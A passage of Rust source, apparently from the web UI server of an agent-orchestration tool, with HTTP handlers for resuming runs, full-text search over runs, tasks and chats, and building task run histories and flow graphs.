3312 Ok(Json(FoldMergedView {
3313 run: id,
3314 before: before.as_str().to_owned(),
3315 after: after.as_str().to_owned(),
3316 removed,
3317 }))
3318}
3319
3320#[derive(Debug, Serialize)]
3322struct FoldMergedView {
3323 run: String,
3324 before: String,
3326 after: String,
3328 removed: Vec<String>,
3330}
3331
3332async fn run_resume(
3352 State(ui): State<Arc<Ui>>,
3353 Path(id): Path<String>,
3354) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3355 let (id, state) = {
3356 let ui = Arc::clone(&ui);
3357 blocking(move || {
3358 let id = resolve_run(&ui.runs, &id)?;
3359 let state = read_run(&ui.runs, &id)?;
3360 Ok((id, state))
3361 })
3362 .await?
3363 };
3364 if let Some(to) = &state.released_to {
3365 return Err(ApiError::conflict(format!(
3366 "run {} can no longer be resumed: its worktree was released to run {}, which \
3367 took the branch over.",
3368 state.short(),
3369 crate::run::short_of(to)
3370 )));
3371 }
3372 if !state.status.resumable() {
3373 return Err(ApiError::conflict(format!(
3374 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3375 state.short(),
3376 status_word(state.status)
3377 )));
3378 }
3379 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3384 .into_iter()
3385 .next()
3386 {
3387 return Err(ApiError::conflict(format!(
3388 "the loop is running run {} right now; stop it first, or wait for \
3389 it to finish, before resuming a run by hand.",
3390 crate::run::short_of(&work.run)
3391 )));
3392 }
3393 let _resume = ui.begin_resume(&id)?;
3394
3395 let queued = RunSummary::of(
3398 &state,
3399 !ui.questions.open_for(&id).is_empty(),
3400 state.liveness(false),
3401 );
3402 let run = id.clone();
3403 tokio::spawn(async move {
3404 let _resume = _resume;
3405 match crate::graph::Runner::resume(&run) {
3406 Ok(mut runner) => {
3407 if let Err(e) = runner.execute().await {
3408 tracing::warn!("resume of run {run} stopped: {e:#}");
3409 }
3410 }
3411 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3414 }
3415 });
3416 Ok((StatusCode::ACCEPTED, Json(queued)))
3417}
3418
3419async fn run_report(
3420 State(ui): State<Arc<Ui>>,
3421 Path(id): Path<String>,
3422) -> ApiResult<impl IntoResponse> {
3423 let text = blocking(move || {
3424 let id = resolve_run(&ui.runs, &id)?;
3425 let state = read_run(&ui.runs, &id)?;
3429 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3430 let live = state.liveness(daemon_claims);
3431 Ok(format!(
3432 "{}{}",
3433 report::run(&state),
3434 report::active_seats(&state, live)
3435 ))
3436 })
3437 .await?;
3438 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3439}
3440
3441async fn run_report_json(
3445 State(ui): State<Arc<Ui>>,
3446 Path(id): Path<String>,
3447) -> ApiResult<Json<crate::report_view::RunReportView>> {
3448 let view = blocking(move || {
3449 let id = resolve_run(&ui.runs, &id)?;
3450 let state = read_run(&ui.runs, &id)?;
3451 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3452 Ok(crate::report_view::build(
3453 &state,
3454 state.liveness(daemon_claims),
3455 ))
3456 })
3457 .await?;
3458 Ok(Json(view))
3459}
3460
3461#[derive(Debug, Serialize)]
3467struct TaskView {
3468 #[serde(flatten)]
3469 task: Task,
3470 source_label: String,
3471 source_link: Option<SourceLink>,
3472 status_str: &'static str,
3473 instruction_md: Vec<md::Node>,
3477 waits_on: Vec<String>,
3481 stuck_roots: Vec<String>,
3484}
3485
3486impl From<Task> for TaskView {
3487 fn from(task: Task) -> Self {
3488 Self {
3489 source_label: task.source.label(),
3490 source_link: source_link(&task.source),
3491 status_str: task.status.as_str(),
3492 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3493 waits_on: Vec::new(),
3494 stuck_roots: Vec::new(),
3495 task,
3496 }
3497 }
3498}
3499
3500impl TaskView {
3501 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3502 let waits_on = inv.waits_on(&task);
3503 let stuck_roots = inv
3504 .stuck_roots(&task)
3505 .iter()
3506 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3507 .collect();
3508 Self {
3509 waits_on,
3510 stuck_roots,
3511 ..Self::from(task)
3512 }
3513 }
3514}
3515
3516#[derive(Debug, Default, Deserialize)]
3519#[serde(default)]
3520struct ReposQuery {
3521 refresh: u8,
3522}
3523
3524async fn repos_list(
3531 State(ui): State<Arc<Ui>>,
3532 Query(q): Query<ReposQuery>,
3533) -> ApiResult<Json<Vec<repos::Repo>>> {
3534 let refresh = q.refresh != 0;
3535 blocking(move || {
3536 let (cfg, _) = Config::discover(&ui.repo, None)?;
3537 Ok(Json(ui.repos_cache.list(
3538 &cfg.repos.roots,
3539 Duration::from_secs(cfg.repos.scan_ttl),
3540 refresh,
3541 )))
3542 })
3543 .await
3544}
3545
3546async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3550 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3551}
3552
3553#[derive(Debug, Deserialize)]
3555#[serde(deny_unknown_fields)]
3556struct RolesBody {
3557 revision: String,
3559 #[serde(default)]
3561 roles: std::collections::BTreeMap<String, Vec<String>>,
3562 #[serde(default)]
3566 counts: std::collections::BTreeMap<String, serde_json::Value>,
3567}
3568
3569async fn settings_put_roles(
3575 State(ui): State<Arc<Ui>>,
3576 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3577) -> ApiResult<Json<settings::SettingsView>> {
3578 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3579 blocking(move || {
3580 settings::save(
3581 &ui.repo,
3582 ui.machine_config.as_deref(),
3583 &body.revision,
3584 &body.roles,
3585 &body.counts,
3586 )
3587 .map(Json)
3588 .map_err(|e| match e {
3589 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3590 settings::SaveError::Refused(m) => ApiError {
3591 status: StatusCode::UNPROCESSABLE_ENTITY,
3592 message: m,
3593 },
3594 settings::SaveError::Internal(m) => ApiError::internal(m),
3595 })
3596 })
3597 .await
3598}
3599
3600async fn queue_list(
3601 State(ui): State<Arc<Ui>>,
3602 Query(q): Query<ListQuery>,
3603) -> ApiResult<Json<Vec<TaskView>>> {
3604 blocking(move || {
3605 let tasks = ui.queue.list();
3606 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3607 Ok(Json(
3608 tasks
3609 .into_iter()
3610 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3611 .map(|t| TaskView::with_inventory(t, &inv))
3612 .collect(),
3613 ))
3614 })
3615 .await
3616}
3617
3618const SEARCH_MAX_HITS: usize = 100;
3620const SEARCH_MAX_QUERY: usize = 200;
3622const SEARCH_MAX_TERMS: usize = 8;
3623const SNIPPET_BEFORE: usize = 50;
3625const SNIPPET_AFTER: usize = 110;
3626
3627#[derive(Debug, Deserialize)]
3629struct SearchQuery {
3630 #[serde(default)]
3631 scope: String,
3632 #[serde(default)]
3633 q: String,
3634}
3635
3636#[derive(Debug, Serialize, PartialEq, Eq)]
3639struct SnippetPart {
3640 text: String,
3641 hit: bool,
3642}
3643
3644#[derive(Debug, Serialize)]
3645struct SearchHit {
3646 id: String,
3647 field: String,
3649 snippet: Vec<SnippetPart>,
3650 #[serde(skip_serializing_if = "Option::is_none")]
3654 run: Option<RunSummary>,
3655}
3656
3657#[derive(Debug, Serialize)]
3658struct SearchView {
3659 scope: String,
3660 q: String,
3661 hits: Vec<SearchHit>,
3663 total: usize,
3665 truncated: bool,
3666 unreadable: usize,
3669}
3670
3671fn text_leaves<'a>(
3674 value: &'a serde_json::Value,
3675 field: &'a str,
3676 out: &mut Vec<(&'a str, &'a str)>,
3677) {
3678 match value {
3679 serde_json::Value::String(s) => out.push((field, s)),
3680 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3681 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3682 _ => {}
3683 }
3684}
3685
3686fn fold_char(c: char) -> char {
3689 c.to_lowercase().next().unwrap_or(c)
3690}
3691
3692fn search_terms(q: &str) -> Vec<String> {
3694 let mut terms: Vec<String> = Vec::new();
3695 for t in q.split_whitespace() {
3696 let t = t.to_lowercase();
3697 if !terms.contains(&t) {
3698 terms.push(t);
3699 }
3700 }
3701 terms
3702}
3703
3704fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3707 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3708 let mut first: Option<usize> = None;
3709 for term in terms {
3710 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3711 first = Some(first.map_or(at, |f| f.min(at)));
3712 }
3713 let (field, text) = leaves[first?];
3715 Some(SearchHit {
3716 id: String::new(),
3717 field: field.to_owned(),
3718 snippet: snippet_of(text, terms),
3719 run: None,
3720 })
3721}
3722
3723fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3726 let chars: Vec<char> = text.chars().collect();
3727 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3728 let needles: Vec<Vec<char>> = terms
3729 .iter()
3730 .map(|t| t.chars().map(fold_char).collect())
3731 .collect();
3732 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3733 let mut best: Option<(usize, usize)> = None;
3734 for n in needles.iter().filter(|n| !n.is_empty()) {
3735 if n.len() > chars.len() || to == 0 {
3739 continue;
3740 }
3741 let last = (to - 1).min(chars.len() - n.len());
3742 if from > last {
3743 continue;
3744 }
3745 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3746 && best.is_none_or(|(b, _)| i < b)
3747 {
3748 best = Some((i, i + n.len()));
3749 }
3750 }
3751 best
3752 };
3753 let Some((start, _)) = find(0, chars.len()) else {
3754 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3756 return vec![SnippetPart {
3757 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3758 hit: false,
3759 }];
3760 };
3761 let lo = start.saturating_sub(SNIPPET_BEFORE);
3762 let hi = (start + SNIPPET_AFTER).min(chars.len());
3763 let mut parts: Vec<SnippetPart> = Vec::new();
3764 let mut push = |s: &[char], hit: bool| {
3765 if s.is_empty() {
3766 return;
3767 }
3768 let text: String = s.iter().collect();
3769 match parts.last_mut() {
3770 Some(p) if p.hit == hit => p.text.push_str(&text),
3771 _ => parts.push(SnippetPart { text, hit }),
3772 }
3773 };
3774 if lo > 0 {
3775 push(&['\u{2026}'], false);
3776 }
3777 let mut at = lo;
3778 while at < hi {
3779 match find(at, hi) {
3780 Some((s, e)) => {
3781 push(&chars[at..s], false);
3782 let shown = e.min(hi);
3784 push(&chars[s..shown], true);
3785 at = shown;
3786 }
3787 None => {
3788 push(&chars[at..hi], false);
3789 at = hi;
3790 }
3791 }
3792 }
3793 if hi < chars.len() {
3794 push(&['\u{2026}'], false);
3795 }
3796 let mut prev_space = false;
3799 for p in &mut parts {
3800 let mut out = String::with_capacity(p.text.len());
3801 for c in p.text.chars() {
3802 if c.is_whitespace() {
3803 if !prev_space {
3804 out.push(' ');
3805 }
3806 prev_space = true;
3807 } else {
3808 out.push(c);
3809 prev_space = false;
3810 }
3811 }
3812 p.text = out;
3813 }
3814 parts.retain(|p| !p.text.is_empty());
3815 parts
3816}
3817
3818fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3820where
3821 I: IntoIterator<Item = (String, serde_json::Value)>,
3822{
3823 for (id, doc) in docs {
3824 let mut leaves = Vec::new();
3825 leaves.push(("id", id.as_str()));
3828 text_leaves(&doc, "", &mut leaves);
3829 if let Some(mut hit) = search_document(terms, &leaves) {
3830 view.total += 1;
3831 if view.hits.len() < SEARCH_MAX_HITS {
3832 hit.id = id;
3833 view.hits.push(hit);
3834 }
3835 }
3836 }
3837 view.truncated = view.total > view.hits.len();
3838}
3839
3840fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3847 let opener = talk
3848 .turns
3849 .iter()
3850 .find(|t| t.who == crate::talk::Who::Operator)
3851 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3852 .unwrap_or("");
3853 let title: String = if opener.chars().count() > 96 {
3854 opener.chars().take(95).chain(['\u{2026}']).collect()
3855 } else {
3856 opener.to_owned()
3857 };
3858 let turns: Vec<serde_json::Value> = talk
3859 .turns
3860 .iter()
3861 .map(|t| {
3862 let who = match t.who {
3863 crate::talk::Who::Operator => "operator",
3864 crate::talk::Who::Agent => "agent",
3865 };
3866 serde_json::json!({ who: t.body })
3867 })
3868 .collect();
3869 serde_json::json!({ "title": title, "turns": turns })
3870}
3871
3872async fn search_get(
3879 State(ui): State<Arc<Ui>>,
3880 Query(q): Query<SearchQuery>,
3881) -> ApiResult<Json<SearchView>> {
3882 let query = q.q.trim().to_owned();
3883 if query.is_empty() {
3884 return Err(ApiError::bad_request("q must not be empty"));
3885 }
3886 if query.chars().count() > SEARCH_MAX_QUERY {
3887 return Err(ApiError::bad_request(format!(
3888 "q is longer than {SEARCH_MAX_QUERY} characters"
3889 )));
3890 }
3891 let terms = search_terms(&query);
3892 if terms.len() > SEARCH_MAX_TERMS {
3893 return Err(ApiError::bad_request(format!(
3894 "q has more than {SEARCH_MAX_TERMS} terms"
3895 )));
3896 }
3897 let scope = q.scope;
3898 if scope != "runs" && scope != "tasks" && scope != "chats" {
3899 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3900 }
3901 blocking(move || {
3902 let mut view = SearchView {
3903 scope: scope.clone(),
3904 q: query,
3905 hits: Vec::new(),
3906 total: 0,
3907 truncated: false,
3908 unreadable: 0,
3909 };
3910 if scope == "runs" {
3911 let mut unreadable = 0;
3912 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3916 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3917 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3918 Some(v) => Some((id, v)),
3919 None => {
3920 unreadable += 1;
3921 None
3922 }
3923 }
3924 });
3925 search_docs(&terms, docs, &mut view);
3926 view.unreadable = unreadable;
3927 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3930 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3931 for hit in &mut view.hits {
3932 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3933 hit.run = summarize(
3934 [state],
3935 &open_runs,
3936 &claimed,
3937 &superseded,
3938 |p| probe.borrow_mut().status(p),
3939 |p| probe.borrow_mut().started_at(p),
3940 )
3941 .pop();
3942 }
3943 }
3944 } else if scope == "chats" {
3945 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3946 view.unreadable = unreadable;
3947 search_docs(
3948 &terms,
3949 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3950 &mut view,
3951 );
3952 } else {
3953 let docs = ui.queue.list().into_iter().filter_map(|t| {
3954 let mut v = serde_json::to_value(&t).ok()?;
3955 if let Some(o) = v.as_object_mut() {
3958 o.insert("filed_by".to_owned(), t.source.label().into());
3959 }
3960 Some((t.id, v))
3961 });
3962 search_docs(&terms, docs, &mut view);
3963 }
3964 Ok(Json(view))
3965 })
3966 .await
3967}
3968
3969#[derive(Debug, Serialize)]
3971struct TaskRunView {
3972 n: usize,
3974 id: String,
3975 short: String,
3976 kind: &'static str,
3978 status: Option<&'static str>,
3980 readable: bool,
3982 provisional: bool,
3984 description: String,
3986 outcome: String,
3988 created_at: Option<Timestamp>,
3989 pr: Option<String>,
3990 exit: RunExit,
3992 attempt: AttemptCost,
3994 branch: Option<String>,
3996}
3997
3998#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4000#[serde(rename_all = "snake_case")]
4001enum RunExit {
4002 Unreadable,
4003 Interrupted,
4005 Parked,
4006 QuotaStall,
4007 ResumedQuotaStall,
4011 Merged,
4012 Ready,
4013 Superseded,
4014 AlreadyInBase,
4017 Stalled,
4019 HeldWithPr,
4021 NoopHeld,
4022 Spent,
4024 InProgress,
4025}
4026
4027#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4028#[serde(rename_all = "snake_case")]
4029enum AttemptCost {
4030 Spent,
4031 Refunded,
4032 None,
4033 Unknown,
4035}
4036
4037impl RunExit {
4038 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4039 let Some(s) = s else {
4040 return Self::Unreadable;
4041 };
4042 let status = s.status;
4043 if resumed_later {
4044 Self::Interrupted
4045 } else if s.parked {
4046 Self::Parked
4047 } else if !status.done() {
4048 Self::InProgress
4049 } else if matches!(status, RunStatus::Merged) {
4050 Self::Merged
4051 } else if matches!(status, RunStatus::Ready) {
4052 Self::Ready
4053 } else if matches!(status, RunStatus::Superseded) {
4054 Self::Superseded
4055 } else if matches!(status, RunStatus::AlreadyInBase) {
4056 Self::AlreadyInBase
4057 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4058 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4059 {
4060 if resumed {
4061 Self::ResumedQuotaStall
4062 } else {
4063 Self::QuotaStall
4064 }
4065 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4066 Self::HeldWithPr
4067 } else if matches!(status, RunStatus::VerifiedNoop) {
4068 Self::NoopHeld
4069 } else if matches!(status, RunStatus::Stalled) {
4070 Self::Stalled
4071 } else {
4072 Self::Spent
4073 }
4074 }
4075
4076 fn cost(self) -> AttemptCost {
4077 match self {
4078 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4079 Self::Merged
4080 | Self::Ready
4081 | Self::Stalled
4082 | Self::HeldWithPr
4083 | Self::NoopHeld
4084 | Self::Spent => AttemptCost::Spent,
4085 Self::InProgress => AttemptCost::None,
4086 Self::AlreadyInBase => AttemptCost::Refunded,
4087 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4088 AttemptCost::Unknown
4089 }
4090 }
4091 }
4092
4093 fn edge_label(self, status: Option<&str>) -> String {
4095 match self {
4096 Self::Unreadable => "record unreadable".to_owned(),
4097 Self::Interrupted => "interrupted before the run finished".to_owned(),
4098 Self::Parked => "parked, attempt refunded".to_owned(),
4099 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4100 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4101 Self::Merged => "merged".to_owned(),
4102 Self::Ready => "ready, not merged".to_owned(),
4103 Self::Superseded => "superseded by a later attempt".to_owned(),
4104 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4105 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4106 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4107 Self::NoopHeld => "verified no-op".to_owned(),
4108 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4109 Self::InProgress => "in progress".to_owned(),
4110 }
4111 }
4112
4113 fn explains(self, end: TaskStatus) -> bool {
4116 match self {
4117 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4118 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4119 Self::Unreadable | Self::Superseded | Self::Ready => true,
4120 _ => end != TaskStatus::Done,
4121 }
4122 }
4123}
4124
4125#[derive(Debug, Serialize)]
4127struct TaskDetailView {
4128 #[serde(flatten)]
4129 task: TaskView,
4130 max_attempts: usize,
4133 history: Vec<TaskRunView>,
4134 flow: FlowView,
4135 runs_unreadable: usize,
4137 attempts_note: &'static str,
4139}
4140
4141const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4142and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4143on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4144in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4145
4146fn review_branch_of(instruction: &str) -> Option<&str> {
4149 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4150 rest.split('`').next().filter(|b| !b.is_empty())
4151}
4152
4153struct RunSlot<'a> {
4155 n: usize,
4157 resumed: bool,
4159 resumed_later: Option<usize>,
4161 prior: Option<(&'a str, RunStatus)>,
4163 last: bool,
4164}
4165
4166fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4169 let RunSlot {
4170 n,
4171 resumed,
4172 resumed_later,
4173 prior,
4174 last,
4175 } = at;
4176 let short = run::short_of(id).to_owned();
4177 let Some(s) = state else {
4178 return TaskRunView {
4179 n,
4180 id: id.to_owned(),
4181 short,
4182 kind: "unknown",
4183 status: None,
4184 readable: false,
4185 provisional: false,
4186 description:
4187 "This run's record could not be read by this build (written by a different \
4188 magi, or removed), so what kind of attempt it was is unknown."
4189 .to_owned(),
4190 outcome: String::new(),
4191 created_at: None,
4192 pr: None,
4193 exit: RunExit::Unreadable,
4194 attempt: AttemptCost::Unknown,
4195 branch: None,
4196 };
4197 };
4198 let branch = review_branch_of(&s.instruction);
4199 let kind = if resumed {
4200 "resume"
4201 } else if branch.is_some() {
4202 "review"
4203 } else if task.solo || s.candidates.len() == 1 {
4204 "solo"
4205 } else {
4206 "competition"
4207 };
4208 let mut description = match kind {
4209 "resume" => {
4210 format!("Resumed run {short}: the same run carried on instead of competing again.")
4211 }
4212 "review" => format!(
4213 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4214 branch.unwrap_or_default()
4215 ),
4216 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4217 _ => format!(
4218 "Competition: {} candidates judged blind.",
4219 s.candidates.len().max(1)
4220 ),
4221 };
4222 if !resumed && let Some((p, st)) = prior {
4223 description.push_str(&format!(
4224 " A retry: run {p} before it ended {}.",
4225 st.display_label()
4226 ));
4227 }
4228
4229 let status = s.status;
4230 let provisional = matches!(status, RunStatus::Stalled)
4231 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4232 let head = if resumed_later.is_some() {
4233 String::new()
4234 } else {
4235 match status {
4236 RunStatus::Merged => "Merged.".to_owned(),
4237 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4238 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4239 RunStatus::AlreadyInBase => {
4240 "Already in the base: this change landed under other commits, nothing was left to land."
4241 .to_owned()
4242 }
4243 RunStatus::Stalled => {
4244 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4245 .to_owned()
4246 }
4247 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4248 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4249 RunStatus::VerifiedNoop => {
4250 "Verified no-op: the candidates found nothing to change.".to_owned()
4251 }
4252 other if other.done() => format!("Ended {}.", other.display_label()),
4253 other => format!("In progress ({}).", other.display_label()),
4254 }
4255 };
4256 let why = if let Some(k) = resumed_later {
4257 let cause = if s.quota.is_empty() {
4264 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4265 } else {
4266 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4267 };
4268 format!(
4269 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4270 )
4271 } else if s.parked {
4272 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4273 .to_owned()
4274 } else if !status.done()
4275 || matches!(
4276 status,
4277 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4278 )
4279 {
4280 String::new()
4281 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4282 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4283 {
4284 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4285 .to_owned()
4286 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4287 " It left a pull request open, so the task was held for a person rather than retried."
4288 .to_owned()
4289 } else if matches!(status, RunStatus::VerifiedNoop) {
4290 " Held for a person to check the claim.".to_owned()
4291 } else if last {
4292 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4293 } else {
4294 " It spent an attempt, and the task moved on to the next run.".to_owned()
4295 };
4296 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4297 TaskRunView {
4298 n,
4299 id: id.to_owned(),
4300 short,
4301 kind,
4302 status: Some(status.as_str()),
4303 readable: true,
4304 provisional,
4305 description,
4306 outcome: format!("{head}{why}"),
4307 created_at: Some(s.created_at),
4308 pr: s.pr.as_ref().map(|p| p.url.clone()),
4309 exit,
4310 attempt: exit.cost(),
4311 branch: branch.map(str::to_owned),
4312 }
4313}
4314
4315#[derive(Debug, Serialize, PartialEq)]
4317struct FlowNode {
4318 key: String,
4320 kind: &'static str,
4322 label: String,
4323 status: Option<&'static str>,
4326 note: Option<&'static str>,
4328 run_kind: Option<&'static str>,
4329 detail: Option<String>,
4330 decided: bool,
4332 readable: bool,
4333 href: Option<String>,
4334}
4335
4336#[derive(Debug, Serialize, PartialEq)]
4337struct FlowEdge {
4338 from: String,
4339 to: String,
4340 label: String,
4341 attempt: AttemptCost,
4342}
4343
4344#[derive(Debug, Serialize, PartialEq)]
4345struct FlowView {
4346 nodes: Vec<FlowNode>,
4347 edges: Vec<FlowEdge>,
4348 attempts: usize,
4350 max_attempts: usize,
4351}
4352
4353fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4356 let node = |key: &str, kind, label: String| FlowNode {
4357 key: key.to_owned(),
4358 kind,
4359 label,
4360 status: None,
4361 note: None,
4362 run_kind: None,
4363 detail: None,
4364 decided: false,
4365 readable: true,
4366 href: None,
4367 };
4368 let mut nodes = Vec::new();
4369 let mut edges: Vec<FlowEdge> = Vec::new();
4370 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4372 let mut n = node(
4373 "chat",
4374 "chat",
4375 format!("Chat {}", crate::queue::short(&link.id)),
4376 );
4377 n.href = Some(link.href);
4378 nodes.push(n);
4379 edges.push(FlowEdge {
4380 from: "chat".to_owned(),
4381 to: "start".to_owned(),
4382 label: "queued from chat".to_owned(),
4383 attempt: AttemptCost::None,
4384 });
4385 }
4386 nodes.push(node("start", "start", "Task queued".to_owned()));
4387 let mut prev = "start".to_owned();
4388 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4389 for (i, h) in history.iter().enumerate() {
4390 let key = format!("run-{}", h.n);
4391 let mut n = node(&key, "run", format!("Run {}", h.short));
4392 n.run_kind = Some(h.kind);
4393 n.readable = h.readable;
4394 n.href = Some(format!("#/runs/{}", h.id));
4395 n.decided = h.readable && !h.provisional;
4396 n.detail = h
4397 .branch
4398 .as_ref()
4399 .map(|b| format!("review-only run of branch {b}"));
4400 match h.exit {
4401 RunExit::Unreadable => n.note = Some("unreadable"),
4402 RunExit::Interrupted => n.note = Some("interrupted"),
4403 _ => {
4404 n.status = h.status;
4405 if h.provisional {
4406 n.note = Some("no verdict");
4407 }
4408 }
4409 }
4410 let into = match h.kind {
4411 "review" => Some(format!(
4412 "review-only run of branch {}",
4413 h.branch.as_deref().unwrap_or("?")
4414 )),
4415 "resume" => Some("resume the same run".to_owned()),
4416 _ if i > 0 => Some("retry".to_owned()),
4417 _ => None,
4418 };
4419 let label = match (prev_exit, into) {
4420 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4421 (Some((e, st)), None) => e.edge_label(st),
4422 (None, Some(i)) => i,
4423 (None, None) => "claimed".to_owned(),
4424 };
4425 edges.push(FlowEdge {
4426 from: prev.clone(),
4427 to: key.clone(),
4428 label,
4429 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4430 });
4431 prev_exit = Some((h.exit, h.status));
4432 prev = key;
4433 nodes.push(n);
4434 }
4435 let mut end = node("end", "end", task.status.as_str().to_owned());
4436 end.status = Some(task.status.as_str());
4437 nodes.push(end);
4438 let (label, attempt) = match prev_exit {
4439 None => (
4440 format!("no run yet \u{2192} {}", task.status.as_str()),
4441 AttemptCost::None,
4442 ),
4443 Some((e, st)) if e.explains(task.status) => (
4444 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4445 e.cost(),
4446 ),
4447 Some((e, _)) => (
4448 format!("closed by hand: task is {}", task.status.as_str()),
4449 e.cost(),
4450 ),
4451 };
4452 edges.push(FlowEdge {
4453 from: prev,
4454 to: "end".to_owned(),
4455 label,
4456 attempt,
4457 });
4458 FlowView {
4459 nodes,
4460 edges,
4461 attempts: task.attempts,
4462 max_attempts,
4463 }
4464}
4465
4466fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4469 let mut history = Vec::with_capacity(task.runs.len());
4470 let mut seen: Vec<&str> = Vec::new();
4471 let mut prior: Option<(&str, RunStatus)> = None;
4472 for (i, run_id) in task.runs.iter().enumerate() {
4473 let state = read(run_id);
4474 let resumed = seen.contains(&run_id.as_str());
4475 seen.push(run_id);
4476 history.push(task_run_view(
4477 run_id,
4478 state.as_ref(),
4479 RunSlot {
4480 n: i + 1,
4481 resumed,
4482 resumed_later: task.runs[i + 1..]
4483 .iter()
4484 .position(|r| r == run_id)
4485 .map(|off| i + off + 2),
4486 prior,
4487 last: i + 1 == task.runs.len(),
4488 },
4489 task,
4490 ));
4491 if let Some(s) = &state {
4492 prior = Some((run::short_of(run_id), s.status));
4493 }
4494 }
4495 history
4496}
4497
4498async fn task_detail(
4499 State(ui): State<Arc<Ui>>,
4500 Path(id): Path<String>,
4501) -> ApiResult<Json<TaskDetailView>> {
4502 blocking(move || {
4503 let id = resolve_task(&ui.queue, &id)?;
